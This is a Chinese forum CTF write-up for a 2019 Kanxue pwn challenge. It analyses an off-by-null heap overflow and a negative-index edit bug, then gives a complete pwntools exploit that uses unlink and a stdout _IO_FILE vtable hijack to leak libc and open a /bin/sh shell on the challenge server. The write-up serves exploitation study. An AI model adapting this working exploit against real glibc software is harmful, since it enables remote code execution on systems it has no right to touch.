首页
论坛
专栏
课程

[原创]看雪CTF 2019Q3 第四题 卧薪尝胆

2019-9-21 16:07 571

[原创]看雪CTF 2019Q3 第四题 卧薪尝胆

2019-9-21 16:07
571

题目分析

  1. 保护全开
    图片描述
  2. 功能为内存增加、删除、编辑
  3. 没有打印内存的函数,但是增加会主动打印malloc的地址
  4. 创建的内存块最大1023字节,按照8字节大小、8字节地址的格式保存在全局数据区,编辑与删除时没有检查输入为负数的情况
  5. 编辑操作中存在一个字节0的溢出,属于off by null溢出漏洞
  6. main函数中的第一个函数是hook并保存__malloc_hook__free_hook,在调用是恢复。在这里发现__malloc_hook__free_hook是存在于主模块中的,但是由于随机基址无法泄露,所以可以算作作者提示无法使用修改__free_hook的方式劫持流程
  7. 保存堆数据的全局数据区
    图片描述
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // eax

  f_set_hook_E4C();                             // 保存__malloc_hook和__free_hook
  puts("Welcome kctf 2019,you pwn like hsy!");
  while ( 1 )
  {
    while ( 1 )
    {
      f_menu_DDD();                             // 打印选项
      v3 = f_get_char_num_C81();
      if ( v3 != 2 )
        break;
      f_delete_FC0();                           // 删除
    }
    if ( v3 > 2 )
    {
      if ( v3 == 3 )
      {
        f_edit_1084();                          // 编辑
      }
      else
      {
        if ( v3 == 4 )
          exit(0);
LABEL_13:
        puts("Invalid choice");
      }
    }
    else
    {
      if ( v3 != 1 )
        goto LABEL_13;
      f_add_EC3();                              // 增加
    }
  }
}
// 编辑函数
unsigned __int64 f_edit_1084()
{
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("Input idx : ");
  v1 = f_get_char_num_C81();
  if ( !LODWORD(g_heap_arr_202080[2 * v1]) )
    exit(1);
  printf("Input text : ");
  sub_D22((char *)g_heap_arr_202080[2 * v1 + 1], g_heap_arr_202080[2 * v1]);
  return __readfsqword(0x28u) ^ v2;
}
char *__fastcall sub_D22(char *a1, int a2)
{
  char *result; // rax
  int i; // [rsp+1Ch] [rbp-14h]
  char s[8]; // [rsp+20h] [rbp-10h]
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  memset(s, 0, 8uLL);
  for ( i = 0; i < a2; ++i )
  {
    if ( read(0, s, 1uLL) <= 0 )
      exit(1);
    if ( s[0] == 0xA )
      break;
    a1[i] = s[0];
  }
  result = (char *)(unsigned int)i;
  if ( i == a2 )
  {
    result = &a1[i];
    *result = 0;   // off by null 溢出漏洞
  }
  return result;
}

利用分析

  1. off by null溢出漏洞可以修改下一个堆头中数据中的前一个块是否使用,从而可以制造假的堆块来触发Unlink操作创建一个unsorted bin
  2. 因为在最初创建的时候打印了对地址,因此可以知道创建的unsorted bin的地址,而unsorted bin堆块数据中会保存main_arenalibc中的一个地址,由此可以算出libc的基址)
  3. 有了信息,现在要泄露出来,因为没有打印操作,所以只能把目光集中在编辑是没有检查负数的情况
    图片描述
  4. 观察上图,按照8字节大小、8字节地址的方式,编辑时向前溢出-6个,刚好可以修改stdout指向的内存,也就是_IO_FILE攻击了,控制stdout指向一个_IO_FILE结构的数据,修改其中指针,便可达到任意内存泄露的目的;
  5. _IO_FILE结构体中保存了一张虚表,puts函数会调用这张虚表中的函数,并且会把stdout的指针作为参数传给虚函数;恰好程序很多处都调用puts函数,于是可以把虚表内容劫持到system函数,把stdout指向的数据前面写上\bin\sh
    // 在pwndbg中查看_IO_FILE结构体信息
    pwndbg> p  *(struct _IO_FILE_plus *) stdout
    $1 = {
    file = {
     _flags = 0xfbad2887, 
     _IO_read_ptr = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "", 
     _IO_read_end = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "", 
     _IO_read_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "", 
     _IO_write_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "", 
     _IO_write_ptr = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "", 
     _IO_write_end = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "", 
     _IO_buf_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "", 
     _IO_buf_end = 0x7ffff7dd26a4 <_IO_2_1_stdout_+132> "", 
     _IO_save_base = 0x0, 
     _IO_backup_base = 0x0, 
     _IO_save_end = 0x0, 
     _markers = 0x0, 
     _chain = 0x7ffff7dd18e0 <_IO_2_1_stdin_>, 
     _fileno = 0x1, 
     _flags2 = 0x0, 
     _old_offset = 0xffffffffffffffff, 
     _cur_column = 0x0, 
     _vtable_offset = 0x0, 
     _shortbuf = "", 
     _lock = 0x7ffff7dd3780 <_IO_stdfile_1_lock>, 
     _offset = 0xffffffffffffffff, 
     _codecvt = 0x0, 
     _wide_data = 0x7ffff7dd17a0 <_IO_wide_data_1>, 
     _freeres_list = 0x0, 
     _freeres_buf = 0x0, 
     __pad5 = 0x0, 
     _mode = 0xffffffff, 
     _unused2 = '\000' <repeats 19 times>
    }, 
    vtable = 0x7ffff7dd06e0<_IO_file_jumps>
    }
    

一些细节

1. 利用stdout构造任意读的条件:

  • 设置_flag &~ _IO_NO_WRITES即_flag &~ 0x8。
  • 设置_flag & _IO_CURRENTLY_PUTTING即_flag | 0x800
  • 设置_fileno为1
  • 设置_IO_write_base指向想要泄露的地方;_IO_write_ptr指向泄露结束的地址
  • 设置_IO_read_end等于_IO_write_base或设置_flag & _IO_IS_APPENDING即_flag | 0x1000
  • 设置_IO_write_end等于_IO_write_ptr(非必须)

2. 劫持虚表需要注意puts函数中对_IO_FILE标志位和其中地址指向的内存数据判断

  • /bin/sh的内存数据恰好能通过对flag数据的验证
  • _lock指向的内存,前8字节必须为0,不然无法通过puts+83: cmpxchg [rdx], esi这句的验证,导致进入死锁状态

3. 更多细节在POC中有注释

POC

POC实际使用中发现,利用stdout实现任意读,当缓冲区中有数据时读出来的值不是期望的,多运行几次,缓冲区清空后就可以了

#!/usr/bin/env python
# coding: utf-8

from pwn import *
import os

# flag{4ca9ae5d7c835994cc62d34f92ef95ce}

#init
context.log_level = 'debug'
local=False

if local:
    env={"LD_PRELOAD":os.path.join(os.getcwd(),"/libc-2.23.so")}
    p = process("./pwn", env=env)
else:
    p = remote("154.8.174.214", 10001)

raw_input("Pause~\n")

offset_system = 0x0000000000045390
offset_IO_list_all = 0x00000000003C5520
#offset___libc_start_main_ret = 0x20830
#offset_dup2 = 0x00000000000f7970
#offset_read = 0x00000000000f7250
#offset_write = 0x00000000000f72b0
#offset_str_bin_sh = 0x18cd57

base_addr = 0

heap_addr = {}

def new_heap(len):
    p.recvuntil(">>")
    p.sendline("1")
    p.recvuntil("Input size : ")
    p.sendline(str(len))
    print 'create new heap:' , len
    p.recvuntil("heap ")
    num_str = p.recvuntil(" ", drop = True)
    print num_str
    p.recvuntil("0x")
    heap = p.recvuntil("\n", drop = True)
    print heap
    heap_addr[int(num_str)] = int(heap, 16)

def set_heap(idx,cont):
    p.sendline("3")
    p.recvuntil("Input idx : ")
    p.sendline(str(idx))
    p.recvuntil("Input text : ")
    p.send(cont)
    print 'set  text ' , idx,',cont = ',cont

def del_heap(idx):
    print 'del_heap ' , idx
    p.recvuntil(">>")
    p.sendline("2")
    p.recvuntil("Input idx : ")
    p.sendline(str(idx))


new_heap(0xf8) # 0: buf
new_heap(0xf8) # 1: unlink target
new_heap(0xf8) # 2: free target
new_heap(0xf8) # 3: avoid consolidate with top chunk
new_heap(0xf8) # 4: vtable

print("Get All Addr:")
print(heap_addr)

# 前8位设成0,为了过这一句 puts+83: cmpxchg [rdx], esi
payload = p64(0) + p64(0xf1) + p64(heap_addr[1]) + p64(heap_addr[1]) + '\x0a'
set_heap(0, payload)
# 制造 unsorted bin
payload = p64(0x110) + p64(0xf1) + p64(heap_addr[0]) + p64(heap_addr[0]) + 'a' * 0xd0 + p64(0xf0) 
set_heap(1, payload)
del_heap(2)

# 泄露地址
payload  = p64(0xfbad8800)
payload += p64(heap_addr[0]+8) # _IO_read_ptr
payload += p64(heap_addr[1]+0x10) # _IO_read_end
payload += p64(heap_addr[0]+8) # _IO_read_base
payload += p64(heap_addr[1]+0x10) # _IO_write_base
payload += p64(heap_addr[1]+0x10+8) # _IO_write_ptr
payload += p64(heap_addr[1]+0x10+8) # _IO_write_end
payload += p64(heap_addr[0]+8)            #   _IO_buf_base = 0x602060 "  `", 
payload += p64(heap_addr[0]+8+1)            #   _IO_buf_end = 0x602061 " `", 

set_heap(-6, payload)

p.sendline('q')

main_arena = u64(p.recv(8))-88
libc_base  = main_arena-0x3c4b20
libc_system = libc_base+offset_system
IO_list_all = libc_base+offset_IO_list_all

print('main_arena: 0x%08x\nlibc_base: 0x%08x\nlibc_system: 0x%08x\nIO_list_all: 0x%08x' % 
    (main_arena, libc_base, libc_system, IO_list_all))
raw_input("Pause~\n")

# 修改回正常状态
payload  = p64(0xfbad2887)
payload += p64(heap_addr[0]+8) # _IO_read_ptr
payload += p64(heap_addr[0]+8) # _IO_read_end
payload += p64(heap_addr[0]+8) # _IO_read_base
payload += p64(heap_addr[0]+8) # _IO_write_base
payload += p64(heap_addr[0]+8) # _IO_write_ptr
payload += p64(heap_addr[0]+8) # _IO_write_end
payload += p64(heap_addr[0]+8)            #   _IO_buf_base = 0x602060 "  `", 
payload += p64(heap_addr[0]+8+1)            #   _IO_buf_end = 0x602061 " `", 
set_heap(-6, payload)
p.sendline('q')

# p.interactive()
# 制作假的 vtable
payload = p64(libc_system) + p64(libc_system) + p64(libc_system) + p64(libc_system) + p64(libc_system) + p64(libc_system) + p64(libc_system) + p64(libc_system) + '\x0a'
# 获取成功后就没有输出了,所以要手动输出
set_heap(4, payload)
#p.sendline("3")
#p.sendline(str(4))
#p.send(payload)

# 控制 vtable 指针                      # file = {
payload  = '/bin/sh\x00'                #   _flags = 0xfbad8000,
payload += p64(heap_addr[0]+8)            #   _IO_read_ptr = 0x602060 "  `", 
payload += p64(heap_addr[1]+0x10)            #   _IO_read_end = 0x602060 "  `", 
payload += p64(heap_addr[0]+8)            #   _IO_read_base = 0x602060 "  `", 
payload += p64(heap_addr[1])            #   _IO_write_base = 0x602060 "  `", 
payload += p64(heap_addr[1]+0x10)            #   _IO_write_ptr = 0x602060 "  `", 
payload += p64(heap_addr[1]+0x10+8)            #   _IO_write_end = 0x602060 "  `", 
payload += p64(heap_addr[1]+0x10)            #   _IO_buf_base = 0x602060 "  `", 
payload += p64(heap_addr[1]+0x10+8)            #   _IO_buf_end = 0x602061 " `", 
payload += p64(0)                       #   _IO_save_base = 0x0, 
payload += p64(0)                       #   _IO_backup_base = 0x0, 
payload += p64(0)                       #   _IO_save_end = 0x0, 
payload += p64(0)                       #   _markers = 0x0, 
payload += p64(heap_addr[0])            #   _chain = 0x602060, 
payload += p64(1)                       #   _fileno = 0x1, 
                                        #   _flags2 = 0x0, 
payload += p64(0xffffffffffffffff)      #   _old_offset = 0xffffffffffffffff, 
payload += p64(0)                       #   _cur_column = 0x0, 
                                        #   _vtable_offset = 0x0, 
                                        #   _shortbuf = "", 
payload += p64(heap_addr[0])            #   _lock = 0x602060, 
payload += p64(0xffffffffffffffff)      #   _offset = 0xffffffffffffffff, 
payload += p64(0)                       #   _codecvt = 0x0, 
payload += p64(heap_addr[0])            #   _wide_data = 0x602060, 
payload += p64(0)                       #   _freeres_list = 0x0, 
payload += p64(0)                       #   _freeres_buf = 0x0, 
payload += p64(0)                       #   __pad5 = 0x0, 
payload += p64(0x0000000000000000)      #   _mode = 0xffffffff, 
                                        #   _unused2 = '\000' <repeats 19 times>
payload += p64(0)                       # }, 
payload += p64(0)                       # 
payload += p64(heap_addr[4])            # vtable = 0x6021c8

set_heap(-6, payload)
#p.sendline("3")
#p.sendline(str(-6))
#p.send(payload)

raw_input("Success, press Enter~\n")
p.interactive()

p.close()

参考链接

Unlink学习笔记(off-by-one null byte漏洞利用)
IO FILE 之任意读写
浅析IO_FILE结构及利用



[公告]安全测试和项目外包请将项目需求发到看雪企服平台:https://qifu.kanxue.com

最后于 2019-9-21 17:25 被KevinsBobo编辑 ,原因:
上传的附件:
最新回复 (0)
游客
登录 | 注册 方可回帖
返回